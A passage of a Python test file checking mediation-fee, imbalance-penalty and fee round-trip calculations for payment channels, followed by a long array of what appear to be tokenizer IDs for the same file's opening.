imbalance_penalty=[(TokenAmount(0), FeeAmount(0)), (TokenAmount(100), FeeAmount(20))],
flat=FeeAmount(5),
)
fee_func = FeeScheduleState.mediation_fee_func(
schedule_in=FeeScheduleState(),
schedule_out=schedule,
balance_in=Balance(0),
balance_out=Balance(100),
receivable=TokenAmount(100),
amount_with_fees=PaymentWithFeeAmount(5),
cap_fees=True,
)
assert fee_func(30) == 0 # 5 - 6, capped
assert fee_func(20) == 5 - 4
def test_linspace():
assert linspace(TokenAmount(0), TokenAmount(4), 5) == [0, 1, 2, 3, 4]
assert linspace(TokenAmount(0), TokenAmount(4), 4) == [0, 1, 3, 4]
assert linspace(TokenAmount(0), TokenAmount(4), 3) == [0, 2, 4]
assert linspace(TokenAmount(0), TokenAmount(4), 2) == [0, 4]
assert linspace(TokenAmount(0), TokenAmount(0), 3) == [0, 0, 0]
with pytest.raises(AssertionError):
assert linspace(TokenAmount(0), TokenAmount(4), 1)
with pytest.raises(AssertionError):
assert linspace(TokenAmount(4), TokenAmount(0), 2)
def test_rebalancing_fee_calculation():
sample = calculate_imbalance_fees(TokenAmount(200), ProportionalFeeAmount(50_000)) # 5%
assert sample is not None
assert len(sample) == NUM_DISCRETISATION_POINTS
assert all(0 <= x <= 200 for x, _ in sample)
assert max(x for x, _ in sample) == 200
assert all(0 <= y <= 10 for _, y in sample)
assert max(y for _, y in sample) == 10 # 5% of the 200 TokenAmount capacity
sample = calculate_imbalance_fees(TokenAmount(100), ProportionalFeeAmount(20_000)) # 2%
assert sample is not None
assert len(sample) == NUM_DISCRETISATION_POINTS
assert all(0 <= x <= 100 for x, _ in sample)
assert max(x for x, _ in sample) == 100
assert all(0 <= y <= 2 for _, y in sample)
assert max(y for _, y in sample) == 2 # 2% of the 100 TokenAmount capacity
sample = calculate_imbalance_fees(TokenAmount(15), ProportionalFeeAmount(50_000)) # 5%
assert sample is not None
assert len(sample) == 16
assert all(0 <= x <= 16 for x, _ in sample)
assert max(x for x, _ in sample) == 15
assert all(0 <= y <= 1 for _, y in sample)
assert max(y for _, y in sample) == 1 # 5% of the 5 rounded up
# test rounding of the max_balance_fee calculation
sample = calculate_imbalance_fees(TokenAmount(1000), ProportionalFeeAmount(5_490)) # 0.549%
assert sample is not None
assert len(sample) == NUM_DISCRETISATION_POINTS
assert all(0 <= x <= 1000 for x, _ in sample)
assert max(x for x, _ in sample) == 1000
assert all(0 <= y <= 5 for _, y in sample)
assert max(y for _, y in sample) == 5 # 5.49 is rounded to 5
sample = calculate_imbalance_fees(TokenAmount(1000), ProportionalFeeAmount(5_500)) # 0.55%
assert sample is not None
assert len(sample) == NUM_DISCRETISATION_POINTS
assert all(0 <= x <= 1000 for x, _ in sample)
assert max(x for x, _ in sample) == 1000
assert all(0 <= y <= 6 for _, y in sample)
assert max(y for _, y in sample) == 6 # 5.5 is rounded to 6
# test cases where no imbalance fee is created
assert calculate_imbalance_fees(TokenAmount(0), ProportionalFeeAmount(1)) is None
assert calculate_imbalance_fees(TokenAmount(10), ProportionalFeeAmount(0)) is None
@pytest.mark.parametrize(
"flat_fee, prop_fee, initial_amount, expected_amount",
[
# pure flat fee
(50, 0, 1000, 1000 - 50 - 50),
# proportional fee
(0, 1_000_000, 2000, 1000), # 100% per hop mediation fee
(0, 100_000, 1100, 1000), # 10% per hop mediation fee
(0, 50_000, 1050, 1000), # 5% per hop mediation fee
(0, 10_000, 1010, 1000), # 1% per hop mediation fee
(0, 10_000, 101, 100), # 1% per hop mediation fee
(0, 4_990, 100, 100), # 0,499% per hop mediation fee gets rounded away
# mixed tests
(1, 500_000, 1000 + 500 + 2, 1000),
(10, 500_000, 1000 + 500 + 20, 997),
(100, 500_000, 1000 + 500 + 200, 967),
# -
(1, 100_000, 1000 + 100 + 2, 1000),
(10, 100_000, 1000 + 100 + 20, 999),
(100, 100_000, 1000 + 100 + 200, 991),
# -
(1, 10_000, 1000 + 10 + 2, 1000),
(10, 10_000, 1000 + 10 + 20, 1000),
(100, 10_000, 1000 + 10 + 200, 999),
# -
(100, 500_000, 1000 + 750, 1000),
# - values found in run_test_mediated_transfer_with_fees
(0, 200_000, 47 + 9, 47),
(0, 200_000, 39 + 8, 39),
],
)
def test_get_lock_amount_after_fees(flat_fee, prop_fee, initial_amount, expected_amount):
"""Tests mediation fee deduction."""
prop_fee_per_channel = ppm_fee_per_channel(ProportionalFeeAmount(prop_fee))
lock = make_hash_time_lock_state(amount=initial_amount)
channel_in = factories.create(
NettingChannelStateProperties(
partner_state=NettingChannelEndStateProperties(balance=TokenAmount(2000)),
fee_schedule=FeeScheduleState(flat=flat_fee, proportional=prop_fee_per_channel),
)
)
channel_out = factories.create(
NettingChannelStateProperties(
our_state=NettingChannelEndStateProperties(balance=TokenAmount(2000)),
fee_schedule=FeeScheduleState(flat=flat_fee, proportional=prop_fee_per_channel),
)
)
locked_after_fees = get_amount_without_fees(
amount_with_fees=lock.amount, channel_in=channel_in, channel_out=channel_out
)
assert locked_after_fees == expected_amount
@pytest.mark.parametrize(
"cap_fees, flat_fee, prop_fee, imbalance_fee, initial_amount, expected_amount",
[
# No capping of the mediation fees
# The higher the imbalance fee, the stronger the impact of the fee iteration
(False, 0, 0, 10_000, 50_000, 50_000 + 2_000),
(False, 0, 0, 20_000, 50_000, 50_000 + 3_995),
(False, 0, 0, 30_000, 50_000, 50_000 + 5_910),
(False, 0, 0, 40_000, 50_000, 50_000 + 7_613),
(False, 0, 0, 50_000, 50_000, 50_000 + 9_091),
# Capping of mediation fees
(True, 0, 0, 10_000, 50_000, 50_000),
(True, 0, 0, 20_000, 50_000, 50_000),
(True, 0, 0, 30_000, 50_000, 50_000),
(True, 0, 0, 40_000, 50_000, 50_000),
(True, 0, 0, 50_000, 50_000, 50_000),
],
)
def test_get_lock_amount_after_fees_imbalanced_channel(
cap_fees, flat_fee, prop_fee, imbalance_fee, initial_amount, expected_amount
):
"""Tests mediation fee deduction."""
balance = TokenAmount(100_000)
prop_fee_per_channel = ppm_fee_per_channel(ProportionalFeeAmount(prop_fee))
imbalance_fee = calculate_imbalance_fees(
channel_capacity=balance, proportional_imbalance_fee=ProportionalFeeAmount(imbalance_fee)
)
lock = make_hash_time_lock_state(amount=initial_amount)
channel_in = factories.create(
NettingChannelStateProperties(
our_state=NettingChannelEndStateProperties(balance=TokenAmount(0)),
partner_state=NettingChannelEndStateProperties(balance=balance),
fee_schedule=FeeScheduleState(
cap_fees=cap_fees,
flat=FeeAmount(flat_fee),
proportional=prop_fee_per_channel,
imbalance_penalty=imbalance_fee,
),
)
)
channel_out = factories.create(
NettingChannelStateProperties(
our_state=NettingChannelEndStateProperties(balance=balance),
partner_state=NettingChannelEndStateProperties(balance=TokenAmount(0)),
fee_schedule=FeeScheduleState(
cap_fees=cap_fees,
flat=FeeAmount(flat_fee),
proportional=prop_fee_per_channel,
imbalance_penalty=imbalance_fee,
),
)
)
locked_after_fees = get_amount_without_fees(
amount_with_fees=lock.amount, channel_in=channel_in, channel_out=channel_out
)
assert locked_after_fees == expected_amount
@given(
integers(min_value=0, max_value=100),
integers(min_value=0, max_value=10_000),
integers(min_value=0, max_value=50_000),
integers(min_value=1, max_value=90_000_000_000_000_000),
integers(min_value=1, max_value=100_000_000_000_000_000),
integers(min_value=1, max_value=100_000_000_000_000_000),
)
@settings(suppress_health_check=[HealthCheck.filter_too_much])
def test_fee_round_trip(flat_fee, prop_fee, imbalance_fee, amount, balance1, balance2):
"""Tests mediation fee deduction.
First we're doing a PFS-like calculation going backwards from the target
amount to get the amount that the initiator has to send. Then we calculate
the fees from a mediator's point of view and check if `amount_with_fees -
fees = amount`.
"""
# Find examples where there is a reasonable chance of succeeding
amount = int(min(amount, balance1 * 0.95 - 1, balance2 * 0.95 - 1))
assume(amount > 0)
total_balance = TokenAmount(100_000_000_000_000_000_000)
prop_fee_per_channel = ppm_fee_per_channel(ProportionalFeeAmount(prop_fee))
imbalance_fee = calculate_imbalance_fees(
channel_capacity=total_balance,
proportional_imbalance_fee=ProportionalFeeAmount(imbalance_fee),
)
channel_in = factories.create(
NettingChannelStateProperties(
our_state=NettingChannelEndStateProperties(balance=total_balance - balance1),
partner_state=NettingChannelEndStateProperties(balance=balance1),
fee_schedule=FeeScheduleState(
cap_fees=False,
flat=FeeAmount(flat_fee),
proportional=prop_fee_per_channel,
imbalance_penalty=imbalance_fee,
),
)
)
channel_out = factories.create(
NettingChannelStateProperties(
our_state=NettingChannelEndStateProperties(balance=balance2),
partner_state=NettingChannelEndStateProperties(balance=total_balance - balance2),
fee_schedule=FeeScheduleState(
cap_fees=False,
flat=FeeAmount(flat_fee),
proportional=prop_fee_per_channel,
imbalance_penalty=imbalance_fee,
),
)
)
# How much do we need to send so that the target receives `amount`? PFS-like calculation.
fee_calculation = get_initial_amount_for_amount_after_fees(
amount_after_fees=PaymentAmount(amount), channels=[(channel_in, channel_out)]
)
assume(fee_calculation) # There is not enough capacity for the payment in all cases
assert fee_calculation
# How much would a mediator send to the target? Ideally exactly `amount`.
amount_without_margin_after_fees = get_amount_without_fees(
amount_with_fees=fee_calculation.total_amount,
channel_in=channel_in,
channel_out=channel_out,
)
assume(amount_without_margin_after_fees) # We might lack capacity for the payment
assert abs(amount - amount_without_margin_after_fees) <= 1 # Equal except for rounding errors
# If we add the fee margin, the mediator must always send at least `amount` to the target!
amount_with_fee_and_margin = calculate_safe_amount_with_fee(
fee_calculation.amount_without_fees, FeeAmount(sum(fee_calculation.mediation_fees))
)
amount_with_margin_after_fees = get_amount_without_fees(
amount_with_fees=amount_with_fee_and_margin, channel_in=channel_in, channel_out=channel_out
)
assume(amount_with_margin_after_fees) # We might lack capacity to add margins
assert amount_with_margin_after_fees >= amount
@example(flat_fee=0, prop_fee=0, imbalance_fee=1277, amount=1, balance1=33, balance2=481)
@given(
integers(min_value=0, max_value=100),
integers(min_value=0, max_value=10_000),
integers(min_value=0, max_value=50_000),
integers(min_value=1, max_value=90_000_000_000_000_000_000),
integers(min_value=1, max_value=100_000_000_000_000_000_000),
integers(min_value=1, max_value=100_000_000_000_000_000_000),
)
@settings(suppress_health_check=[HealthCheck.filter_too_much])
def test_fee_add_remove_invariant(flat_fee, prop_fee, imbalance_fee, amount, balance1, balance2):
"""First adding and then removing fees must yield the original value"""
total_balance = TokenAmount(100_000_000_000_000_000_000)
prop_fee_per_channel = ppm_fee_per_channel(ProportionalFeeAmount(prop_fee))
imbalance_fee = calculate_imbalance_fees(
channel_capacity=total_balance,
proportional_imbalance_fee=ProportionalFeeAmount(imbalance_fee),
)
fee_schedule = FeeScheduleState(
cap_fees=False,
flat=FeeAmount(flat_fee),
proportional=prop_fee_per_channel,
imbalance_penalty=imbalance_fee,
)
channel_in = factories.create(
NettingChannelStateProperties(
our_state=NettingChannelEndStateProperties(balance=total_balance - balance1),
partner_state=NettingChannelEndStateProperties(balance=balance1),
fee_schedule=fee_schedule,
)
)
channel_out = factories.create(
NettingChannelStateProperties(
our_state=NettingChannelEndStateProperties(balance=balance2),
partner_state=NettingChannelEndStateProperties(balance=total_balance - balance2),
fee_schedule=fee_schedule,
)
)
amount_with_fees = get_amount_with_fees(
amount_without_fees=amount,
schedule_in=channel_in.fee_schedule,
schedule_out=channel_out.fee_schedule,
receivable_amount=balance1,
balance_in=total_balance - balance1,
balance_out=balance2,
)
assume(amount_with_fees)
assert amount_with_fees
amount_without_fees = get_amount_without_fees(
amount_with_fees=amount_with_fees, channel_in=channel_in, channel_out=channel_out
)
assume(amount_without_fees)
assert amount - 1 <= amount_without_fees <= amount + 1
def running_sum(a):
total = 0
for item in a:
total += item
yield total
def make_channel_pair(
fee_schedule: FeeScheduleState, balance1: int = 0, balance2: int = 0
) -> Tuple[NettingChannelState, NettingChannelState]:
balance1 = TokenAmount(balance1)
balance2 = TokenAmount(balance2)
return (
factories.create(
NettingChannelStateProperties(
our_state=NettingChannelEndStateProperties(balance=balance2),
partner_state=NettingChannelEndStateProperties(balance=balance1),
fee_schedule=fee_schedule,
)
),
factories.create(
NettingChannelStateProperties(
our_state=NettingChannelEndStateProperties(balance=balance1),
partner_state=NettingChannelEndStateProperties(balance=balance2),
fee_schedule=fee_schedule,
)
),
)
def test_mfee1():
"""Unit test for the fee calculation in the mfee1_flat_fee scenario"""
amount = 10_000
deposit = 100_000
flat_fee = 100 // 2
fee_schedule = FeeScheduleState(flat=FeeAmount(flat_fee))
channels = make_channel_pair(fee_schedule, deposit)
# How much do we need to send so that the target receives `amount`? PFS-like calculation.
fee_calculation = get_initial_amount_for_amount_after_fees(
amount_after_fees=PaymentAmount(amount), channels=[channels, channels]
)
assert fee_calculation
amount_with_margin = calculate_safe_amount_with_fee(
fee_calculation.amount_without_fees, FeeAmount(sum(fee_calculation.mediation_fees))
)
assert amount_with_margin == 10_211
# print values for scenario
print(deposit - amount_with_margin, amount_with_margin)
for med_fee in running_sum(fee_calculation.mediation_fees):
print(deposit - amount_with_margin + med_fee, amount_with_margin - med_fee)
def test_mfee2():
"""Unit test for the fee calculation in the mfee2_proportional_fees scenario"""
amount = 10_000
deposit = 100_000
prop_fee = ppm_fee_per_channel(ProportionalFeeAmount(10_000))
fee_schedule = FeeScheduleState(proportional=ProportionalFeeAmount(prop_fee))
channels = make_channel_pair(fee_schedule, deposit)
# How much do we need to send so that the target receives `amount`? PFS-like calculation.
fee_calculation = get_initial_amount_for_amount_after_fees(
amount_after_fees=PaymentAmount(amount), channels=[channels, channels]
)
assert fee_calculation
amount_with_margin = calculate_safe_amount_with_fee(
fee_calculation.amount_without_fees, FeeAmount(sum(fee_calculation.mediation_fees))
)
assert amount_with_margin == 10_213
# print values for scenario
print(deposit - amount_with_margin, amount_with_margin)
for med_fee in running_sum(fee_calculation.mediation_fees):
print(deposit - amount_with_margin + med_fee, amount_with_margin - med_fee)
def test_mfee3():
"""Unit test for the fee calculation in the mfee3_only_imbalance_fees scenario"""
amount = 500_000_000_000_000_000
deposit = TokenAmount(1_000_000_000_000_000_000)
imbalance_penalty = calculate_imbalance_fees(deposit, ProportionalFeeAmount(10_000))
fee_schedule = FeeScheduleState(imbalance_penalty=imbalance_penalty, cap_fees=False)
channels = make_channel_pair(fee_schedule, deposit)
# How much do we need to send so that the target receives `amount`? PFS-like calculation.
fee_calculation = get_initial_amount_for_amount_after_fees(
amount_after_fees=PaymentAmount(amount), channels=[channels]
)
assert fee_calculation
amount_with_margin = calculate_safe_amount_with_fee(
fee_calculation.amount_without_fees, FeeAmount(sum(fee_calculation.mediation_fees))
)
assert amount_with_margin == 480_850_038_799_922_400
# print values for scenario
print("{:_} {:_}".format(deposit - amount_with_margin, amount_with_margin))
for med_fee in running_sum(fee_calculation.mediation_fees):
print(
"{:_} {:_}".format(
deposit - amount_with_margin + med_fee, amount_with_margin - med_fee
)
)
def test_mfee4():
"""Unit test for the fee calculation in the mfee4_combined_fees scenario"""
amount = PaymentAmount(500_000_000_000_000_000)
deposit = 1_000_000_000_000_000_000
prop_fee = ppm_fee_per_channel(ProportionalFeeAmount(10_000))
imbalance_penalty = calculate_imbalance_fees(
TokenAmount(deposit * 2), ProportionalFeeAmount(20_000)
)
fee_schedule = FeeScheduleState(
flat=FeeAmount(100 // 2),
proportional=prop_fee,
imbalance_penalty=imbalance_penalty,
cap_fees=False,
)
channels = make_channel_pair(fee_schedule, deposit, deposit)
# How much do we need to send so that the target receives `amount`? PFS-like calculation.
fee_calculation = get_initial_amount_for_amount_after_fees(
amount_after_fees=PaymentAmount(amount), channels=[channels, channels]
)
assert fee_calculation
amount_with_margin = calculate_safe_amount_with_fee(
amount, FeeAmount(sum(fee_calculation.mediation_fees))
)
# Calculate mediation fees for both mediators
med_fees = []
incoming_amount = amount_with_margin
for _ in range(2):
outgoing_amount = get_amount_without_fees(
amount_with_fees=incoming_amount, channel_in=channels[0], channel_out=channels[1]
)
assert outgoing_amount
med_fees.append(incoming_amount - outgoing_amount)
incoming_amount = outgoing_amount
assert amount_with_margin == 543_503_066_141_505_551
# print values for scenario
print("{:_} {:_}".format(deposit - amount_with_margin, deposit + amount_with_margin))
for med_fee in running_sum(med_fees):
print(
"{:_} {:_}".format(
deposit - amount_with_margin + med_fee, deposit + amount_with_margin - med_fee
)
)
| [
1,
529,
276,
1112,
420,
29958,
29873,
381,
5689,
386,
29875,
29914,
336,
3615,
13,
3166,
5227,
1953,
1053,
7347,
428,
13,
3166,
19229,
1053,
12603,
552,
13,
13,
5215,
11451,
1688,
13,
3166,
20051,
1053,
15202,
5596,
29892,
5251,
29892,
1342,
29892,
2183,
29892,
6055,
13,
3166,
20051,
29889,
710,
1845,
583,
1053,
11920,
13,
13,
3166,
1153,
3615,
29889,
21150,
29889,
5441,
29889,
3286,
571,
29889,
1688,
29918,
12719,
1053,
1207,
29918,
8568,
29918,
2230,
29918,
908,
29918,
3859,
13,
3166,
1153,
3615,
29889,
21150,
29889,
13239,
1053,
2114,
3842,
13,
3166,
1153,
3615,
29889,
21150,
29889,
13239,
29889,
17028,
3842,
1053,
313,
13,
1678,
12670,
1259,
13599,
5044,
2792,
11857,
29892,
13,
1678,
12670,
1259,
13599,
2792,
11857,
29892,
13,
29897,
13,
3166,
1153,
3615,
29889,
21150,
29889,
13239,
29889,
4210,
362,
29918,
1725,
267,
1053,
313,
13,
1678,
679,
29918,
14506,
29918,
2541,
29918,
1725,
267,
29892,
13,
1678,
679,
29918,
11228,
29918,
14506,
29918,
1454,
29918,
14506,
29918,
7045,
29918,
1725,
267,
29892,
13,
29897,
13,
3166,
1153,
3615,
29889,
3286,
571,
29889,
4210,
630,
29918,
3286,
571,
29889,
2344,
29875,
1061,
1053,
8147,
29918,
11177,
29918,
14506,
29918,
2541,
29918,
1725,
29872,
13,
3166,
1153,
3615,
29889,
3286,
571,
29889,
4210,
630,
29918,
3286,
571,
29889,
4210,
362,
29918,
1725,
29872,
1053,
313,
13,
1678,
28019,
29918,
23711,
22245,
29911,
3235,
8098,
29918,
29925,
6992,
9375,
29892,
13,
1678,
383,
3905,
4504,
11272,
2792,
29892,
13,
1678,
4124,
3733,
403,
29892,
13,
1678,
8147,
29918,
326,
5521,
749,
29918,
1725,
267,
29892,
13,
1678,
6276,
3493,
29892,
13,
29897,
13,
3166,
1153,
3615,
29889,
3286,
571,
29889,
4210,
630,
29918,
3286,
571,
29889,
4210,
1061,
1053,
679,
29918,
14506,
29918,
14037,
29918,
1725,
267,
13,
3166,
1153,
3615,
29889,
3286,
571,
29889,
3859,
1053,
12670,
1259,
13599,
2792,
13,
3166,
1153,
3615,
29889,
13239,
29889,
4210,
362,
29918,
1725,
267,
1053,
282,
3358,
29918,
1725,
29872,
29918,
546,
29918,
12719,
13,
3166,
1153,
3615,
29889,
13239,
29889,
1017,
15702,
1053,
313,
13,
1678,
7392,
749,
29892,
13,
1678,
383,
3905,
18087,
29892,
13,
1678,
14617,
358,
18087,
29892,
13,
1678,
14617,
358,
3047,
29943,
3905,
18087,
29892,
13,
1678,
1019,
637,
1848,
29943,
3905,
18087,
29892,
13,
1678,
25159,
18087,
29892,
13,
29897,
13,
13,
13,
1753,
1243,
29918,
1639,
3733,
362,
7295,
13,
1678,
1006,
29886,
353,
4124,
3733,
403,
3552,
29900,
29892,
29871,
29896,
29900,
29900,
511,
313,
29900,
29892,
29871,
29896,
29900,
29900,
876,
13,
1678,
363,
474,
297,
3464,
29898,
29896,
29900,
29896,
1125,
13,
4706,
4974,
1006,
29886,
29898,
29875,
29897,
1275,
474,
13,
13,
1678,
1006,
29886,
353,
4124,
3733,
403,
3552,
29900,
29892,
29871,
29945,
29900,
29892,
29871,
29896,
29900,
29900,
511,
313,
29900,
29892,
29871,
29896,
29900,
29900,
29892,
29871,
29906,
29900,
29900,
876,
13,
1678,
363,
474,
297,
3464,
29898,
29896,
29900,
29896,
1125,
13,
4706,
4974,
1006,
29886,
29898,
29875,
29897,
1275,
29871,
29906,
334,
474,
13,
13,
1678,
1006,
29886,
353,
4124,
3733,
403,
3552,
29900,
29892,
29871,
29945,
29900,
29892,
29871,
29896,
29900,
29900,
511,
313,
29900,
29892,
448,
29945,
29900,
29892,
29871,
29945,
29900,
876,
13,
1678,
4974,
1006,
29886,
29898,
29946,
29900,
29897,
1275,
448,
29946,
29900,
13,
1678,
4974,
1006,
29886,
29898,
29953,
29900,
29897,
1275,
448,
29941,
29900,
13,
1678,
4974,
1006,
29886,
29898,
29929,
29900,
29897,
1275,
29871,
29941,
29900,
13,
1678,
4974,
1006,
29886,
29898,
29929,
29929,
29897,
1275,
29871,
29946,
29947,
13,
13,
1678,
1006,
29886,
353,
4124,
3733,
403,
3552,
29900,
29892,
29871,
29896,
29900,
29900,
511,
313,
29943,
13857,
703,
29896,
29906,
29889,
29941,
29945,
4968,
7347,
428,
703,
29953,
29955,
29889,
29906,
29908,
4961,
13,
1678,
4974,
1006,
29886,
29898,
29900,
29897,
1275,
7347,
428,
703,
29896,
29906,
29889,
29941,
29945,
1159,
13,
1678,
4974,
1006,
29886,
29898,
29945,
29900,
29897,
1275,
11451,
1688,
29889,
14850,
3552,
29896,
29906,
29889,
29941,
29945,
718,
29871,
29953,
29955,
29889,
29906,
29897,
847,
29871,
29906,
29897,
13,
1678,
4974,
1006,
29886,
29898,
29896,
29900,
29900,
29897,
1275,
7347,
428,
703,
29953,
29955,
29889,
29906,
1159,
13,
13,
13,
1753,
1243,
29918,
326,
5521,
749,
29918,
2238,
18745,
7295,
13,
1678,
364,
15945,
29908,
3057,
385,
527,
5521,
749,
27368,
491,
8401,
1250,
322,
11483,
13,
13,
1678,
450,
527,
5521,
749,
27684,
3430,
763,
13,
13,
268,
29906,
29900,
891,
308,
847,
13,
539,
891,
4706,
847,
13,
268,
29896,
29900,
18283,
29889,
268,
847,
13,
539,
891,
29871,
320,
29889,
29871,
847,
13,
418,
29900,
891,
1678,
320,
29914,
13,
1678,
448,
9072,
489,
13,
4706,
29900,
268,
29945,
29900,
259,
29896,
29900,
29900,
13,
13,
1678,
1152,
1269,
1881,
29892,
591,
937,
5251,
278,
8242,
338,
1304,
304,
6375,
18897,
304,
263,
13,
1678,
5146,
3905,
29892,
607,
16229,
278,
13284,
515,
921,
29896,
304,
921,
29906,
29889,
450,
591,
5251,
278,
1021,
13,
1678,
5253,
338,
14457,
630,
297,
278,
11564,
5305,
313,
13529,
292,
515,
921,
29906,
304,
921,
29896,
29897,
322,
13,
1678,
1423,
393,
278,
12833,
27684,
338,
278,
1021,
408,
1434,
925,
411,
278,
11564,
13,
1678,
1804,
29889,
13,
1678,
9995,
13,
1678,
325,
29918,
816,
11272,
353,
383,
3905,
4504,
11272,
2792,
29898,
13,
4706,
527,
5521,
749,
29918,
2238,
18745,
11759,
13,
9651,
313,
6066,
18087,
29898,
29900,
511,
383,
3905,
18087,
29898,
29896,
29900,
8243,
13,
9651,
313,
6066,
18087,
29898,
29945,
29900,
511,
383,
3905,
18087,
29898,
29900,
8243,
13,
9651,
313,
6066,
18087,
29898,
29896,
29900,
29900,
511,
383,
3905,
18087,
29898,
29906,
29900,
8243,
13,
4706,
4514,
13,
1678,
1723,
13,
1678,
11837,
29918,
816,
11272,
353,
383,
3905,
4504,
11272,
2792,
29898,
13,
4706,
527,
5521,
749,
29918,
2238,
18745,
11759,
13,
9651,
313,
6066,
18087,
29898,
29900,
511,
383,
3905,
18087,
29898,
29906,
29900,
8243,
13,
9651,
313,
6066,
18087,
29898,
29945,
29900,
511,
383,
3905,
18087,
29898,
29900,
8243,
13,
9651,
313,
6066,
18087,
29898,
29896,
29900,
29900,
511,
383,
3905,
18087,
29898,
29896,
29900,
8243,
13,
4706,
4514,
13,
1678,
1723,
13,
13,
1678,
363,
2117,
29918,
1725,
267,
29892,
921,
29896,
29892,
5253,
29892,
3806,
29918,
1725,
29872,
29918,
262,
29892,
3806,
29918,
1725,
29872,
29918,
449,
297,
518,
13,
4706,
396,
853,
29883,
17280,
1238,
267,
13,
4706,
313,
8824,
29892,
29871,
29900,
29892,
29871,
29945,
29900,
29892,
448,
29947,
29892,
448,
29896,
29900,
511,
13,
4706,
313,
8824,
29892,
29871,
29945,
29900,
29892,
29871,
29941,
29900,
29892,
29871,
29906,
29900,
29892,
29871,
29896,
29906,
511,
13,
4706,
313,
8824,
29892,
29871,
29900,
29892,
29871,
29896,
29900,
29892,
448,
29906,
29892,
448,
29906,
511,
13,
4706,
313,
8824,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29900,
29892,
448,
29906,
29892,
448,
29906,
511,
13,
4706,
313,
8824,
29892,
29871,
29900,
29892,
29871,
29906,
29900,
29892,
448,
29941,
29892,
448,
29946,
511,
13,
4706,
313,
8824,
29892,
29871,
29946,
29900,
29892,
29871,
29896,
29945,
29892,
29871,
29900,
29892,
29871,
29900,
511,
13,
4706,
313,
8824,
29892,
29871,
29945,
29900,
29892,
29871,
29941,
29896,
29892,
6213,
29892,
29871,
29896,
29906,
511,
13,
4706,
313,
8824,
29892,
29871,
29896,
29900,
29900,
29892,
29871,
29896,
29892,
6213,
29892,
6213,
511,
13,
4706,
396,
315,
17280,
1238,
267,
13,
4706,
313,
5574,
29892,
29871,
29900,
29892,
29871,
29945,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
511,
13,
4706,
313,
5574,
29892,
29871,
29945,
29900,
29892,
29871,
29941,
29900,
29892,
29871,
29906,
29900,
29892,
29871,
29896,
29906,
511,
13,
4706,
313,
5574,
29892,
29871,
29900,
29892,
29871,
29896,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
511,
13,
4706,
313,
5574,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
511,
13,
4706,
313,
5574,
29892,
29871,
29900,
29892,
29871,
29906,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
511,
13,
4706,
313,
5574,
29892,
29871,
29946,
29900,
29892,
29871,
29896,
29945,
29892,
29871,
29900,
29892,
29871,
29900,
511,
13,
1678,
4514,
29901,
13,
4706,
325,
29918,
816,
11272,
29889,
5030,
29918,
1725,
267,
353,
2117,
29918,
1725,
267,
13,
4706,
5253,
29918,
2541,
29918,
1725,
267,
353,
679,
29918,
14506,
29918,
2541,
29918,
1725,
267,
29898,
13,
9651,
5253,
29918,
14037,
29918,
1725,
267,
29922,
15467,
358,
3047,
29943,
3905,
18087,
29898,
14506,
511,
13,
9651,
17346,
29918,
262,
29922,
22031,
749,
29898,
29916,
29896,
511,
13,
9651,
17346,
29918,
449,
29922,
22031,
749,
29898,
29896,
29900,
29900,
511,
13,
9651,
20410,
29918,
262,
29922,
29894,
29918,
816,
11272,
29892,
13,
9651,
20410,
29918,
449,
29922,
29943,
3905,
4504,
11272,
2792,
29898,
5030,
29918,
1725,
267,
29922,
5030,
29918,
1725,
267,
511,
13,
9651,
2414,
440,
519,
29918,
14506,
29922,
6066,
18087,
29898,
29896,
29900,
29900,
448,
921,
29896,
511,
13,
4706,
1723,
13,
4706,
565,
3806,
29918,
1725,
29872,
29918,
262,
338,
6213,
29901,
13,
9651,
4974,
5253,
29918,
2541,
29918,
1725,
267,
338,
6213,
13,
4706,
1683,
29901,
13,
9651,
4974,
5253,
29918,
2541,
29918,
1725,
267,
338,
451,
6213,
13,
9651,
4974,
5253,
29918,
2541,
29918,
1725,
267,
448,
5253,
1275,
383,
3905,
18087,
29898,
9684,
29918,
1725,
29872,
29918,
262,
29897,
13,
13,
4706,
11837,
29918,
816,
11272,
29889,
5030,
29918,
1725,
267,
353,
2117,
29918,
1725,
267,
13,
4706,
5253,
29918,
2541,
29918,
1725,
267,
353,
679,
29918,
14506,
29918,
2541,
29918,
1725,
267,
29898,
13,
9651,
5253,
29918,
14037,
29918,
1725,
267,
29922,
15467,
358,
3047,
29943,
3905,
18087,
29898,
14506,
511,
13,
9651,
17346,
29918,
262,
29922,
22031,
749,
29898,
29900,
511,
13,
9651,
17346,
29918,
449,
29922,
22031,
749,
29898,
29896,
29900,
29900,
448,
921,
29896,
511,
13,
9651,
20410,
29918,
262,
29922,
29943,
3905,
4504,
11272,
2792,
29898,
5030,
29918,
1725,
267,
29922,
5030,
29918,
1725,
267,
511,
13,
9651,
20410,
29918,
449,
29922,
24244,
29918,
816,
11272,
29892,
13,
9651,
2414,
440,
519,
29918,
14506,
29922,
6066,
18087,
29898,
29896,
29900,
29900,
511,
13,
4706,
1723,
13,
4706,
565,
3806,
29918,
1725,
29872,
29918,
449,
338,
6213,
29901,
13,
9651,
4974,
5253,
29918,
2541,
29918,
1725,
267,
338,
6213,
13,
4706,
1683,
29901,
13,
9651,
4974,
5253,
29918,
2541,
29918,
1725,
267,
338,
451,
6213,
13,
9651,
4974,
5253,
29918,
2541,
29918,
1725,
267,
448,
5253,
1275,
383,
3905,
18087,
29898,
9684,
29918,
1725,
29872,
29918,
449,
29897,
13,
13,
13,
1753,
1243,
29918,
1725,
29872,
29918,
29883,
20304,
7295,
13,
1678,
364,
15945,
29908,
4321,
278,
274,
20304,
746,
697,
4004,
310,
278,
27684,
740,
21692,
515,
278,
13,
1678,
6374,
964,
8178,
1238,
267,
29889,
2266,
29892,
1749,
27684,
11672,
3430,
763,
29901,
13,
13,
4706,
383,
3905,
13,
4706,
891,
13,
539,
29945,
718,
13,
4706,
18283,
13,
4706,
891,
320,
13,
539,
29900,
718,
13097,
807,
11793,
976,
23235,
29918,
14506,
13,
4706,
891,
29871,
29906,
29945,
29905,
1678,
29896,
29900,
29900,
13,
4706,
891,
1678,
320,
13,
4706,
891,
268,
320,
13,
4706,
891,
418,
320,
13,
4706,
891,
539,
320,
13,
1678,
448,
29896,
29945,
718,
4706,
320,
13,
308,
29900,
13,
13,
1678,
1932,
274,
20304,
372,
29892,
591,
817,
304,
4635,
278,
17686,
1298,
310,
313,
29906,
